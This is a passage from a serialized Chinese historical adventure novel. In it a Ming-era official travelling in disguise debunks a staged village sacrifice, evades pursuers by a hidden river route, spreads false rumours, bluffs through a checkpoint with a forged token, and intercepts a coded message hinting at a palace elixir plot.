“诸位请看,山体松动,野兽巢穴不安,故而野兽下山,此乃地层轻微震动之兆,与鬼神何干?”
他又指向不远处的小河。
“前几日河水解冻复又结冰,乃至短暂回流,乃是因上游山区气温骤变,冰雪融水与寒流交汇所致,乃气候反常,亦属自然之理。
岂可牵强附会,归咎于虚无缥缈之神灵,更遑论以活人祭祀?”
“你……你胡说八道!”
王里正脸色涨红。
“你说得轻巧,有何证据?”
“证据?”
苏惟瑾微微一笑,从容不迫地向村民借来一个陶碗,
在河边盛满清水,又寻来一根细直的木枝,横置于碗沿之上。
在众人疑惑的目光中,他轻轻调整木枝的位置,解释道:
“诸位请看,此木枝并非水平,略向一侧倾斜。
此乃因两岸气压细微不同,影响水面张力所致。
所谓‘河水倒流’,不过是上游突降暴雨,短时间内水量激增,形成压差,导致下游出现短暂回流假象。
此等物理常情,稍加观察便可明白,何须劳烦山神大驾?”
村民们看得目瞪口呆,他们何曾听过这等“奇谈怪论”,
但眼见那木枝确实歪斜,又觉得似乎有几分道理。
就在王里正气急败坏,还想强辩之时,胡三早已趁乱溜到其家附近。
不多时,他驯养的那只
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雪白鼬鼠和一只灵巧的山雀,
便叼着几块新刻不久、还带着木屑的“山神令”木牌,
从王里正家柴房的破洞钻了出来,
吱吱喳喳地跑到人群前,将木牌丢在地上。
“这……这是山神令?”
有识字的村民捡起来一看,顿时惊呼。
胡三适时站出来,指着王里正冷笑道:
“好个欺神骗鬼的里正!
这木牌木质新鲜,刻痕犹新,分明是近日伪造!
你假借山神之名,编造灾异,不过是想借此敛财,并强占这女童家的几分薄田罢了!
真当无人能识破你的诡计吗?”
铁证如山!
村民们顿时哗然,看向王里正的目光充满了愤怒。
“好你个王扒皮!原来是你搞的鬼!”
“差点害了妞儿的性命!打死这个丧良心的!”
群情激愤,众人纷纷围向面如土色、浑身发抖的王里正。
苏惟瑾见目的已达,不再停留。
他走到那惊魂未定、被父母紧紧抱住的女孩面前,摸了摸她的头,温声道:
“以后莫要怕,凡事多问问,多看看。”
随即,他转向众村民,朗声道:
“诸位乡亲,敬畏天地,不如勤勉耕作;
祈求鬼神,不如自救自强。
望大家好自为之。”
说罢,他带着小队,在村民感激和复杂的目光中,悄然离去,继续赶路。
山风掠过,吹散了那荒诞的鼓乐与喧嚣,只留下身后一片逐渐清醒的村落。
经此一事,苏惟瑾心中信念愈发坚定。
朝堂之上的波谲云诡,与这乡土之间的愚昧苦难,本质同源。
欲定乾坤,澄清玉宇,不仅要扳倒朝中的奸佞,更要扫除这弥漫在民间、禁锢人心的沉疴痼疾!
前路漫漫,但他手中的“知识”利刃,已初试锋芒。
荒村智破邪祀,虽是小试牛刀,却也让苏惟瑾更加明确肩头重任。
然而,他们此番出手,虽隐匿了身份,
但终究留下了痕迹。
那狼狈不堪的王里正是否会怀恨在心,向外传递消息?
潜行小队越靠近京城,盘查越严,这等“多管闲事”是否会引来不必要的关注?
而京城之中,皇帝身边的“邵**”及其党羽,是否也正用类似的手段,在更广阔的舞台上愚弄着君王与天下?
科学与愚昧的较量,已在荒村点燃星火,能否在京城形成燎原之势?
第335章 夜雨逢敌踪 狭路遇故交
滂沱大雨如同天河倒泻,砸在荒僻山野间那家孤零零客栈的茅草屋顶上,噼啪作响,俨然要将这陋舍彻底揉碎。
苏惟瑾一行人刚在通铺里勉强烘干了湿透的衣袍,
正准备歇下,院外却传来一阵急促杂沓的马蹄声,
以及几句被风雨撕扯得断断续续的呵斥。
又有一伙人,顶着这般恶劣天气入住。
苏惟瑾眼神微凝,示意众人噤声。
他侧耳细听,那伙人进了隔壁客房,便紧闭门窗,
但夜风依旧送来了几个模糊的字眼——“魏公子”、“京城来信”、“前路”、“务必截住”!
“魏公子?”
苏惟瑾心头猛地一凛。
超频大脑瞬间将这三个字与昔日广州暗查时,
那账册上神秘的“魏大人”,
以及推测中可能与蒙元残余有牵扯的势力串联起来!
他立刻对胡三打了个手势。
胡三会意,轻轻打开一个竹笼,
那只通体雪白、嗅觉灵敏的小鼬“嗅风”钻了出来,
化身一点白影,悄无声息地溜出房门,贴着墙根,潜到了那伙人的窗下。
通过“嗅风”传回的、经由胡三特殊法门转述的“画面”,苏惟瑾的眉头越皱越紧。
屋内约莫七八人,虽作寻常江湖客打扮,衣衫却质地统一,动作间带着一股难以掩饰的规整彪悍之气。
更关键的是,其中一人弯腰时,腰间露出一角非制式、却明显是某种身份标识的铜牌!
是官兵!
而且是经受过严格训练、很可能出自某位权贵私蓄或特殊衙门的精锐!
他们伪装成江湖人,在此荒僻客栈**,口中提及“魏公子”和“截杀”……
超频大脑飞速运转,瞬间得出判断:
这伙人,要么是冲着他苏惟瑾来的!
要么,就是受京中对手指使,在前路必经之地上设伏,拦截任何可能干扰他们大计的重要人物!
无论哪种,都意味着他的行踪可能已经暴露,至少,对手已在关键节点张网以待!
“准备应变。”
苏惟瑾低声对苏惟奇和几名心腹道,手已悄然按上了藏在袍内的短刃。
客栈通铺内,气氛瞬间绷紧如满弓。
---
一夜无话,只有窗外雨声不休。
次日清晨,大雨初歇,天色依旧阴沉。
两伙人几乎同时打开房门,在客栈狭窄的院门口狭路相逢。
那伙“江湖客”头目,是个面色焦黄、眼神凶戾的汉子,
一见苏惟瑾等人,虽穿着商旅服饰,
但那股子难以完全掩盖的精干气度,立刻引起了他的怀疑。
他带着两人上前一步,拦住去路,目光如刀子般在苏惟瑾脸上刮过,冷声盘问:
“你们是做什么的?
打哪里来,要往哪里去?”
说话间,他身后的几人已隐隐呈半包围态势,手都按在了腰间的兵刃上,杀气腾腾。
苏惟瑾身后的护卫也肌肉绷紧,
手悄悄摸向藏匿的武器,空气中弥漫着浓烈的**味,剑拔**张,一触即发!
苏惟瑾心中电转,正思忖如何应对这突如其来的盘查,是硬闯还是巧言周旋……
就在此时,客栈外的官道上,陡然传来一阵急促而整齐的马蹄声!
尘土飞扬间,一队约二十人的官军疾驰而至,看旗号衣甲,乃是正经的卫所兵马。
队伍在客栈外短暂停驻,似是歇马。
那为首的年轻校尉,身姿挺拔如松,面容棱角分明,目光锐利。
他勒住马缰,一眼就瞥见了客栈门口这伙形迹可疑、对峙僵持的人群,当即厉声喝道:
“尔等何人?
在此聚众喧哗,意欲何为?”
声音清越,带着军旅特有的杀伐之气。
苏惟瑾目光一凝,落在那校尉脸上,
超频大脑瞬间调取了记忆库——是他!
嘉靖元年初,他北上赴考途经济宁州,
在太白酒楼为那个被诬偷窃玉佩的贫寒书生宋卫佳洗刷冤屈!
没想到昔日那个文弱书生,如今竟已弃文从武,投身军旅,还混成了个小旗官!
那伙“江湖客”头目见来了正经官军,气势顿时矮了半截,眼神闪烁,按着刀柄的手也松了开来。
宋卫佳亮出兵部签发的腰牌,目光扫过那伙人,语气更冷:
“某乃押送军粮途经此地的旗官宋卫佳!
尔等是何路人马?在此作甚?”
那焦黄脸汉子悻悻地收回目光,含糊道:
“原来是军爷……误会,一场误会,我等……认错人了。”
说罢,不敢再多停留,招呼手下灰溜溜地翻身上马,沿着官道疾驰而去,背影颇有些狼狈。
驱散了可疑之人,宋卫佳这才将目光转向苏惟瑾一行人。
他总觉得这为首的“商人”气质不凡,
眉眼间有种莫名的熟悉感,不由试探着问道:
“这位兄台,看着好生面善,我们是否在哪里见过?”
苏惟瑾心中一定,知道宋卫佳并
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未完全认出自己,正好借机掩饰身份。
他上前一步,以商人惯有的客气拱了拱手,笑道:
“济宁州太白楼一别,宋兄风采更胜往昔,当真令人欣喜。”
宋卫佳闻言,先是一愣,随即猛地想起当年酒楼之事,
再看苏惟瑾面容,虽做了修饰,气质也有所改变,但那份从容与眼神是错不了的!
他顿时恍然大悟,又惊又喜,
但见苏惟瑾以商人身份相认,
心知必有隐情,便压下相认的冲动,顺着话头低声道:
“原来是……苏……苏兄!
兄台这是要北上办货?
方才那伙人,怕是来者不善,此地势力错综复杂,兄台此行务必谨慎。”
苏惟瑾叹了口气,亦是低语:
“实不相瞒,此行确实恐遇麻烦,正愁前路艰险。”
宋卫佳闻言,略一沉吟,便拍着胸脯道:
“兄台于我有恩,宋某铭记于心。
若兄台欲隐秘北上,避开官道耳目,或可去寻赣粤边境一带,有一位绰号‘浪里蛟’的彭友信彭爷!
此人熟稔水路,通晓山道,在黑白两道都有些面子,为人颇讲义气。
若得他相助,定能助兄台避开许多不必要的风险。”
他迅速说了几个可能的联络地点和暗号。
苏惟瑾心中感激,知道这是雪中送炭,郑重拱手:
“宋兄高义,指点迷津,苏某感激不尽!”
宋卫佳摆摆手:
“举手之劳,兄台保重!”
说罢,不再多言,翻身上马,率着押粮队伍继续赶路,很快消失在官道尽头。
看着宋卫佳远去的背影,苏惟瑾心中稍安。
“浪里蛟”彭友信这条线,无疑是意外之喜,为他的潜行之路又多了一重保障。
然而,“魏公子”手下爪牙的出现,
更让他确信,京中那场针对他、乃至针对皇权的暗流,
其触角早已伸出京城,在这南下的路途上,布下了层层杀机!
前路,注定不会太平。
宋卫佳意外解围,并指点了“浪里蛟”彭友信这条隐秘路线,可谓峰回路转。
但“魏公子”的人马在此出现,意味着苏惟瑾的行踪可能已经引起对手警觉!
他们能否在对手布下天罗地网之前,顺利找到彭友信?
那伙退走的爪牙,是真被官军吓退,还是另有所图,在前方设下了更危险的陷阱?
潜行小队带着新线索继续北上,每一步,都可能是步步杀机!
第336章 暗流逢蛟龙 秘径指迷津
辞别宋卫佳后,苏惟瑾不敢耽搁,依据其提供的联络方式和暗号,
几经周折,终于在赣粤边境一处不起眼的渔村,找到了那位绰号“浪里蛟”的彭友信。
此人约莫四十上下年纪,皮肤黝黑发亮,如同常年浸泡江水,一双眼睛却亮得惊人,开合间精光闪烁。
他身材精悍,手脚粗大,指关节突起,一看便是常年使力、精通水性的好手。
他经营的是一家看似普通的渔具铺子,后院却直通河道,拴着几条看似破旧、实则轻快坚固的小舟。
听闻是宋卫佳亲笔信引荐来的“苏先生”,
彭友信那张饱经风霜的脸上顿时露出真挚的热情,抱拳道:
“原来是宋恩公的朋友!
当年若非宋恩公在梅州仗义执言,彭某早已冤死狱中,此恩没齿难忘!
苏先生既是恩公所托,便是彭某的贵客,有何难处,但讲无妨,彭某水里火里,绝不皱下眉头!”
他将苏惟瑾几人让进后院一间堆满渔网、绳索的僻静小屋,关紧门窗,这才压低声音道:
“苏先生,不瞒您说,近来这通往北面的水路陆路,确实不太平。
多了好几股生面孔的势力,在各处要道增设了暗卡,盘查得极严,
尤其是对官员模样,或者像您这样……
气度不凡的读书人队伍,格外‘关照’。”
他顿了顿,眼中闪过一丝忧色:
“看他们行事做派,不像是寻常官府的人,
倒更像……某些大人物的私兵或者豢养的死士。
彭某在江湖上混迹多年,这点眼力还是有的。”
苏惟瑾心中了然,这印证了他之前的判断。
“魏公子”或者说其背后的势力,果然已经张开了大网。
“彭兄久居此地,熟悉路径,不知可有法子,能避开这些耳目,隐秘北上?”
苏惟瑾诚恳请教。
彭友信捻着下巴上几根短须,沉吟片刻,眼中精光一闪:
“法子倒是有,就是……辛苦些,甚至有些险峻。”
他走到墙边,扯过一张泛黄的、画满标记的简陋水陆图,用手指在上面划出一条曲折的线路。
“走官道和水路主干,那是自投罗网。
若信得过彭某,可从此处出发,先乘小舟,
走这条几乎废弃的古运河支流‘哑河’,
此河狭小水浅,大船难行,但胜在隐秘,两岸芦苇密布,极易藏身。
行至‘老君岩’后,需弃舟登岸,翻越一段当地人称为‘鬼见愁’的山岭。
那山路崎岖,近乎无路,野兽出没,但只要能过去,
便可接入另一条荒废的官道旧基,
直插郧阳府腹地,能绕过前面至少三处重要的水陆关卡!”
他看向苏惟瑾,语气凝重:
“这条路,早年还有些走私的盐枭和逃犯敢走,近十几年早已荒废,知道的人极少。
好处是绝对隐秘,坏处是……吃苦受累不说,若遇上山洪或猛兽,也是九死一生。
而且,时间上,恐怕比走官道要慢上几天。”
苏惟瑾闻言,目光立刻落在那张简陋的地图上。
超频大脑瞬间启动,将彭友信口述的路线与记忆中这个时代的地理志、水文图以及后世的地形知识进行叠加、比对、分析。
“哑河”河道狭窄,水流平缓,适合小型轻舟隐匿行进,两岸植被茂密,提供了天然掩护。
“老君岩”至“鬼见愁”山岭,确实是地形上的断裂带,翻越难度极大,但也正因如此,才成为监控盲区。
接入废弃官道旧基,则能大大提升后续行进速度……
风险与收益在脑中飞速权衡。
走官道,几乎是百分百会撞入对手的拦截网,届时身份暴露,后果不堪设想。
走彭友信指的这条秘径,虽艰苦危险,却能将行踪隐匿到极致,打一个漂亮的时间差和信息差!
几乎只在几个呼吸之间,苏惟瑾已然有了决断。
他抬起头,目光坚定,对彭友信道:
“彭兄,就依此计!
辛苦险阻,我等俱不怕,只要能隐秘抵达京城,便是刀山火海,也要闯上一闯!
只是,需劳烦彭兄为我们准备舟船,并派一可靠向导。”
彭友信见苏惟瑾如此果决,眼中赞赏之色更浓,一拍大腿:
“好!苏先生痛快!
舟船向导包在彭某身上!
我让犬子彭小蛟带你们走第一段水路,那小子水性比他老子我还好,对‘哑河’每一处暗礁浅滩都门儿清!”
事情
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就此定下。彭友信立刻安排人手准备轻舟、干粮、驱蛇避瘴的药物。
苏惟瑾也让手下再次检查行装,做好跋山涉水的准备。
临行前,彭友信拉着苏惟瑾的手,又低声透露了一个消息:
“苏先生,前几日,我手下弟兄在江上捞货,偶然捞起一个落水的信使,
人没救过来,但从他身上搜出一封火漆密信,
虽被水泡过,隐约能看到‘京城……邵**……药……速备……’等字样。
彭某觉得此事蹊跷,那信使衣着也不是寻常驿卒,
倒像是……宫里内监的打扮。
这信,恐怕不简单。”
苏惟瑾心中巨震!
邵**!宫中药!
这与芸娘信中所言,以及他的推断完全吻合!
对手不仅在前路拦截,更在加紧向京城输送那害人的“丹药”!
“彭兄,那信……”
苏惟瑾急问。
彭友信摇摇头:“信已毁,无法复原。
但此事千真万确。
苏先生此去京城,定要万分小心,这潭水,深得很哪!”
苏惟瑾重重握了握彭友信的手:
“多谢彭兄告知!
此恩,苏某记下了!”
是夜,月暗星稀。
两艘轻便狭长的小舟,载着苏惟瑾和他的潜行小队,
在彭小蛟熟练的操控下,赛似两条游鱼,
悄无声息地滑入那条名为“哑河”的废弃水道,瞬间便被无边的黑暗与茂密的芦苇荡吞噬。
官道上的喧嚣与杀机仿佛已被隔绝在另一个世界。
前方,是未知的艰险,也是通往风暴核心的唯一生路。
苏惟瑾站在船头,任由带着水腥气的夜风吹拂面颊,眼神比夜空中的寒星更冷,更亮。
彭友信指出的秘径虽能避开明枪,却暗藏自然之险与未知变数!
那落水信使身上的密信碎片,暗示京城“药案”已到关键时刻!
苏惟瑾小队闯入这条荒废多年的隐秘水路,能否真的避开所有追踪?
彭小蛟这个年轻向导,又是否完全可靠?
而对手在常规路线上布网不成,是否会察觉到异常,将搜索范围扩大到这些荒僻之地?
哑河无声,前路莫测,真正的考验,才刚刚开始!
第337章 巧布**阵 假讯惑群邪
哑河之水,幽深静谧,两岸芦苇如墙,将天光也滤得昏暗了几分。
小舟在其间穿行,除了船桨划破水面的轻微声响,便只有偶尔的水鸟惊飞。
然而,苏惟瑾的心,却比这看似平静的水面要汹涌得多。
连日潜行,虽暂时安全,但他深知,被动躲藏绝非长久之计。
对手势力庞大,布网周密,一味避让,只会让自己活动的空间越来越小,最终如陷入沼泽,动弹不得。
这不符合他苏惟瑾的作风,更无法达成力挽狂澜的目标!
“必须反客为主,搅乱这一池浑水!”
舟中,苏惟瑾眸光锐利,对围拢过来的苏惟奇、胡三等人低声道。
“让他们跟着我们的节奏走,而非我们疲于应付他们的围追堵截。”
超频大脑飞速运转,一个大胆的“信息迷惑”计划迅速成型。
他要利用手中掌控的“云裳阁”这条隐秘渠道,主动释放出几条真假难辨的消息,如同投入静湖的石子,不仅要激起涟漪,更要让窥伺的鱼儿晕头转向!
“立刻通过云裳阁的紧急信道,分不同路径,散出四条消息。”
苏惟瑾语气果断,条理清晰:
“其一,放出风声,言‘钦差苏惟瑾南下劳顿,加之岭南瘴气侵体,于北上途中感染严重风寒,
不得已在韶州府某处隐秘别业暂歇修养,归期未定’。
此消息需做得逼真,可让云裳阁在韶州的人手,故意去采购些治疗风寒的名贵药材,做出小心翼翼、欲盖弥彰之态。”
苏惟奇眼睛一亮:
“公子此计甚妙!示敌以弱,让他们以为我们暂时失去了威胁,甚至可能放松警惕!”
苏惟瑾点点头,继续道:
“其二,放出更具冲击力的消息,‘经查,广东走私大案,**背后恐有朝中勋贵支持,苏钦差已掌握部分线索,正密查核实’。
记住,语焉不详,只点出‘勋贵’二字,让他们自己去猜,去内耗!”
胡三抚掌笑道:
“妙啊!那些屁股不干净的勋贵们听到这消息,怕是觉都睡不安稳了,定会互相猜疑,甚至可能给咱们真正的对手使绊子!”
“其三,”
苏惟瑾眼中闪过一丝狡黠。
“放出消息,称‘为防不测,钦差护卫统领周大山已奉密令,率部分精锐,押送涉及**核心机密的重要人证,另择极其隐秘之路线赴京’。
要把这‘重要人证’说得玄乎其玄,仿佛一旦入京,就能掀翻半边天。”
苏惟奇恍然大悟:
“这是要分散他们的兵力!让他们不知道到底该重点拦截哪一路!”
“其四,”
苏惟瑾最后道。
“让仍在官船上的鹤岑国师,不必再过于低调。
可以偶尔‘显显灵’,比如观星测个风雨,或者对着江水念念有词,做出些高深莫测的姿态。
他那位‘灵猴’也可以偶尔抱出来晒晒太阳。
总之,要把官船那边的‘戏’做足,吸引住大部分明面上的目光。”
四条消息,虚实相间,真假难辨,分别针对对手的警惕心、内部团结、**和监视重点。
一旦散播出去,足以在对手内部引发一场信息风暴和信任危机!
“记住,”
苏惟瑾叮嘱负责联络的胡三。
“消息散播要自然,通过茶楼酒肆的闲谈、驿站的‘无意’泄露、甚至‘不小心’被某些探子截获等方式,多管齐下,务必让它们在最短时间内,传到该听到的人耳朵里。”
“公子放心,搞这些弯弯绕,俺老胡在行!”
胡三拍着胸脯,立刻着手安排。
---
数日之后,这几条如同长了翅膀的消息,开始在不同的圈子裡发酵、传递。
京城,某处奢华府邸内。
一位身着锦袍、面色阴鸷的中年人听着下属汇报,眉头紧锁:
“苏惟瑾病了?在韶州修养?消息可靠吗?”
“多方印证,韶州那边我们的眼线回报,确实看到有生面孔在采购大量治疗风寒的药材,行事鬼祟。
而且,北上的钦差官船队伍,速度明显放慢了许多。”
中年人指尖敲着桌面,沉吟道:
“病?是真病,还是装的?
此人诡计多端,不可不防。
加派人手,盯紧韶州方向,同时,北上
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的官船也不能放松!”
另一处,某位与漕运利益牵扯颇深的勋贵府上。
“什么?那苏惟瑾查到我们头上了?”
主人惊得从太师椅上跳起来,额角见汗。
“他掌握了什么线索?是谁走漏了风声?”
幕僚低声道:
“公爷稍安,此消息来源不明,未必为真。
或许是那苏惟瑾虚张声势,故意搅局。”
“宁可信其有,不可信其无!”
勋贵焦躁地踱步。
“快去打探,看看其他几家是什么反应?
还有,让我们在宫里的人小心些,最近都夹起尾巴做人!”
通往京城的数条官道、水路上,一些原本重点布控的关卡,收到了新的指令:
“留意一队押送重要人犯的精干官兵,领头者可能姓周,务必拦截!”
而仍在北江上慢悠悠航行的钦差官船,则迎来了更多“好奇”的窥探。
当有人看到那位仙风道骨的鹤岑国师,在甲板上焚香祷告,
其身边那只金毛猕猴对着江心明月龇牙咧嘴时,更觉这船队透着诡异,不敢轻易靠近,也不敢放松监视。
一时间,针对苏惟瑾的围堵力量,果然如他所料,出现了明显的分散和混乱。
有人重点查探韶州,有人紧盯官船,有人四处搜寻那支根本不存在的“押送队伍”,
而朝中某些勋贵,则开始疑神疑鬼,内部出现了细微的裂痕。
潜行在哑河秘径中的苏惟瑾,通过胡三零散传回的信息,感知着外界的风云变幻,嘴角勾起一丝冷冽的弧度。
“水已经搅浑了,接下来,就看我们能游多快了。”
苏惟瑾的“**阵”初显成效,成功扰乱了对手的部署。
然而,对手也非庸碌之辈,这真假难辨的消息能迷惑他们多久?
郭勋等核心人物是否会看穿这计中之计?
那被重点“关照”的鹤岑国师与官船,是否会面临真正的危险?
而潜行小队在这难得的混乱期中,能否抓住时机,一举突破最后的关键屏障,直抵京城脚下?
信息战的烽烟已起,真正的博弈,才刚刚进入高潮!
第338章 借势锦衣卫 巧过龙门关
哑河的幽静终有尽头。
在彭小蛟的引领下,两叶轻舟悄然驶出芦苇荡,接入了一条稍显宽阔的支流,
远远已能望见前方一座颇具规模的州府码头——襄城。
此地乃南北水陆要冲,漕运重镇,平日里便是舟车辐辏,商旅云集。
而此刻,码头上更是气氛肃杀。
但见官兵林立,哨卡重重,对所有过往船只、行人盘查得极为仔细。
更惹眼的是,几名身着飞鱼服、腰佩绣春刀的锦衣卫,正大马金刀地坐在码头旁的凉棚下,
虽未亲自上手检查,但那冰冷审视的目光,如同无形的枷锁,让每一个经过的人都心头惴惴。
“公子,情况不妙。”
彭小蛟压低声音,脸上带着忧色。
“看这阵仗,盘查比前几日又严了许多,
还有锦衣卫的老爷坐镇,怕是很难蒙混过去。”
苏惟瑾目光扫过码头,超频大脑迅速分析局势。
硬闯是下下策,暴露行踪等于前功尽弃。
绕行?
此地水道纵横,但主要通道皆被封锁,绕行耗时太久,且未必安全。
他的目光最终落在那几名锦衣卫身上,尤其是为首那个面色冷峻、眼神锐利的小旗官。
芸娘与陆炳之妹陆清晏交好,闲谈时曾描述过陆府一些常用的器物纹样、乃至一些非制式但对陆家心腹有特殊意义的信物特征……
一个大胆的计划瞬间在他脑中成型——借力打力!
利用陆炳这块金字招牌,来个狐假虎威!
“惟奇,”
苏惟瑾迅速低声吩咐。
“你扮作贩运苏绸的富商,带上两个机灵的弟兄,如此这般……”
他快速交代了一番细节,并将一枚连夜赶制、仿照陆府常用螭虎纹并掺杂了部分臆造元素的“令牌”交给苏惟奇。
苏惟奇心领神会,立刻换上包袱里最好的那件杭绸直裰,
虽然连日奔波显得有些旧,但架不住他刻意挺起的腰板和刻意养出的几分“富态”。
他带着两名扮作随从的精锐,扛着一口看似沉重的箱子,大摇大摆地朝着码头关卡走去。
“站住!干什么的?路引文书!”
守卡的兵丁凶神恶煞地拦住去路。
苏惟奇脸上堆起生意人惯有的圆滑笑容,掏出早已准备好的、盖着苏州府模糊大印的商引,递了上去:
“军爷辛苦,小可是苏州来的,贩些绸缎往北边去,行个方便。”
那兵丁粗略看了看商引,又打量着苏惟奇和他身后的“随从”,以及那口箱子,疑心未消:
“箱子里装的什么?打开检查!”
“军爷,都是上好的苏绸,怕沾了灰尘……”
苏惟奇故作迟疑。
“少废话!打开!”
兵丁不耐烦地呵斥。
苏惟奇“无奈”,示意随从打开箱盖,里面果然是码放整齐的各色绸缎。
兵丁伸手进去翻查,苏惟奇在一旁看似紧张地搓着手,口中念叨:
“小心些,军爷,这云锦可是金贵物什……”
就在兵丁翻查到箱子底部,并未发现异常,准备挥手放行之际,
苏惟奇仿佛突然想起什么,从怀中掏出一个鼓囊囊的钱袋,作势要悄悄塞给那兵丁,口中低声道:
“军爷们辛苦了,一点茶钱,不成敬意……”
然而,他“手滑”了一下,钱袋没塞稳,
反而将怀中那枚以精铜打造、螭虎盘绕、中间刻着一个古朴“陆”字的令牌给带了出来,“哐当”一声掉在地上!
声音不大,却异常清脆。
凉棚下,那名一直冷眼旁观的锦衣卫小旗官,目光如同鹰隼般瞬间锁定在那枚令牌上!
他虽未见过陆指挥使的贴身信物,
但那独特的螭虎纹和那个“陆”字,
以及令牌材质、做工透出的不凡,让他心头猛地一跳!
陆府的人?
还是与陆府关系极深之人?
“怎么回事?”小旗官起身,大步走了过来,声音带着锦衣卫特有的冷厉。
那收钱收到一半的兵丁吓得一哆嗦,赶紧缩回手,结结巴巴道:
“大……大人,小的正在盘查……”
苏惟奇则“慌忙”捡起令牌,用袖子擦拭,
脸上带着恰到好处的懊恼与一丝不易察觉的倨傲,对小旗官拱了拱手:
“惊扰大人了,小可管教不严,手下人**手毛脚。”
他并未直接亮明令牌,但那小心翼翼收起令牌的动作,比直接亮出更具暗示性。
锦衣卫小旗官仔细打量着苏惟奇,见他虽作商贾打扮,
但气度沉稳,面对自己虽显恭敬却无多少惧色,心中更是笃定了七八分。
这年头,能跟陆府扯上关系的,哪个是简单角色?
宁可信其有,不可信其无!
万一真是陆指挥使的什么隐秘人手,自己行个方便
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,结个善缘,总比得罪人要强。
想到这里,他脸上的冰霜瞬间融化了几分,甚至挤出一丝难得的“和蔼”:
“原来是……咳,阁下既是正经行商,手续齐全,便快些通关吧,莫要耽搁了行程。”
说罢,他对那还在发愣的兵丁斥道:
“还愣着干什么?快放行!”
“是是是!”
兵丁如蒙大赦,赶紧让开道路。
苏惟奇心中暗笑,面上却是不动声色,再次对那小旗官拱手:
“多谢大人行个方便。”
随即,他仿佛随口一提般,说道:
“后面还有几船货,以及几位账房先生,还望大人一并关照。”
小旗官此刻已是“热心肠”上身,连连点头:
“好说好说!阁下的人,尽管过去便是!”
他甚至还主动对后面关卡的手下喊道:
“这位先生是……是咱们自己人,后面的船只人员,一律放行,不得为难!”
就这样,苏惟瑾一行人,包括彭小蛟和他的轻舟,就在这名锦衣卫小旗官“殷勤”的护送(监视?)下,大摇大摆地通过了这处原本龙潭虎穴般的关卡。
那几名原本杀气腾腾的兵丁,此刻看着他们的眼神都带上了几分敬畏和好奇。
直到远离码头,转入另一条僻静水道,众人才彻底松了口气。
胡三抹了把冷汗,咂舌道:
“公子,您这手可真绝了!
愣是让锦衣卫给咱们当了一回护身符!”
苏惟瑾淡淡一笑,眼中却无多少得意:
“借势而已。
陆炳的招牌虽好用,但也不能常用。
经此一事,我们的行踪恐怕也会以另一种方式传到某些人耳中。
接下来,更要加快速度了。”
他回头望了一眼襄城码头的方向,心中明了,这短暂的“保驾护航”,不过是暴风雨来临前,巧妙利用信息差钻到的一个空子。
前路,依旧危机四伏。
巧妙借势锦衣卫,险关变通途!
然而,那锦衣卫小旗官事后细想,是否会察觉不妥?
他向上汇报时,又会如何描述这支“与陆府有关”的神秘商队?
此举虽解了燃眉之急,是否也会引起陆炳本人乃至其对立面的注意?
潜行小队借来的这阵“东风”,是福是祸,犹未可知!
而京城,已然在望,最后的冲刺,必将伴随着最激烈的较量!
第339章猎鹰截密信黑手终显形
襄城码头的惊险甫定,苏惟瑾一行不敢稍歇,
趁着锦衣卫“保驾护航”的余威尚在,
命彭小蛟驾舟疾行,迅速远离这是非之地。
轻舟转入人烟相对稀少的运粮河道,两岸垂柳如烟,阡陌纵横,偶见农夫驱牛耕于田间,
一派江南水乡的宁静景象,与方才码头的肃杀恍若两个世界。
然而苏惟瑾心头的弦却绷得更紧。
他知道,这宁静不过是表象。对手布下的天罗地网,绝不会因一次侥幸的“借势”而消失,只会更加隐蔽,更加致命。
他命胡三将麾下那些“特殊斥候”尽数放出。
一时间,天空中多了几只看似寻常、实则目光锐利的猎鹰盘旋;
河道两岸的草丛树梢间,亦有鼬鼠、狸猫等小兽悄无声息地潜行,
它们灵动的鼻子和耳朵,便是最灵敏的预警系统。
胡灵儿则细心检查着众人随身的药物,
尤其是苏惟瑾交给她保管的那一小块从广西带回的“勇武膏”样本,秀眉微蹙,似乎在琢磨着什么。
日头偏西,轻舟行至一处名为“落雁陂”的河湾,水面渐阔,芦苇丛生,是个易于隐蔽却也需警惕伏击的地方。
苏惟瑾下令暂停休整,舟船隐入茂密的芦苇荡中。
就在众人刚喘口气,啃两口干粮的当口,立于船头负责瞭望的苏惟虎突然低呼:
“三哥,你看天上!”
众人循声望去,只见暮色苍茫的天际,一只灰羽信鸽正扑棱着翅膀,略显慌乱地朝着西北方向飞去,飞行轨迹有些歪斜,速度也比寻常信鸽慢上几分。
胡三眼神一凛,不需苏惟瑾吩咐,早已默契地撮唇发出一声短促尖锐的唿哨。
哨音未落,一道金色的影子如闪电般从高空云层中疾冲而下!
正是胡三精心驯养的那只金眼猎鹰“破风”!
但见破风双翅收束,利爪前探,如同流星坠地,直扑那灰羽信鸽!
信鸽似乎察觉到危险,拼命振翅欲逃,奈何本就有伤在身,动作迟滞。
只听半空中一声凄厉的哀鸣,羽毛纷飞间,破风那铁钩般的爪子已精准地攫住了信鸽的躯体,旋即一个漂亮的回旋,稳稳地落在胡三早已伸出的、戴着厚厚皮套的手臂上。
“好家伙!”
苏惟虎赞了一声。
“这扁**畜生飞得恁不稳当,合该被抓。”
胡三轻轻抚摸着破风颈羽以示奖励,
利索地从还在微微抽搐的鸽腿上解下一个小巧的竹管,双手呈给苏惟瑾:
“公子,您看。”
苏惟瑾接过竹管,入手微沉,拔开塞子,倒出一卷用油纸精心封存的薄绢。
展开一看,上面是数行蝇头小字,墨迹尚新。
然而,这并非寻常文字,而是一些看似毫无关联的词语、符号甚至是数字的怪异组合。
“是密语。”
苏惟瑾瞳孔微缩,超频大脑瞬间进入高速解析状态。
前世涉猎过的密码学、信息论知识,结合对此方世界文化背景、官场隐语的了解,如同浩瀚的数据流在脑中奔腾碰撞。
他的目光如同最精密的扫描仪,飞速掠过那些杂乱的信息。
“丙火……乾位……金液……木母失衡……”
这些道家炼丹术语夹杂其间,看似寻常,但在特定组合下,却被超频大脑敏锐地捕捉到一丝不协调。
“龙体……微恙……药性……恐燥……”
当这几个词与“金液”、“金丹”等词出现在相近位置时,苏惟瑾的心脏猛地一跳!
这绝非普通的丹药方士交流!
这是在谈论皇宫大内、关乎龙体安危的隐秘!
嘉靖帝痴迷炼丹长生,服用各种“仙丹”在朝野并非绝密,但这密信中透露出的“微恙”、“恐燥”,分明指向丹药出了问题!
他的目光继续下移,寻找更多线索。
“…然根基尚固,需缓图…魏公钧谕,稳字为先,待…宫宴…”
魏公!
苏惟瑾眼中精光爆射!
他终于再次看到了这个称呼!
结合之前广州账册中的零星记载,
以及芸娘从京城传来的、关于朝中几位大佬的隐秘信息,这“魏公”二字,如同黑暗中划过的闪电,瞬间照亮了幕后黑手的一角!
勋贵集团!
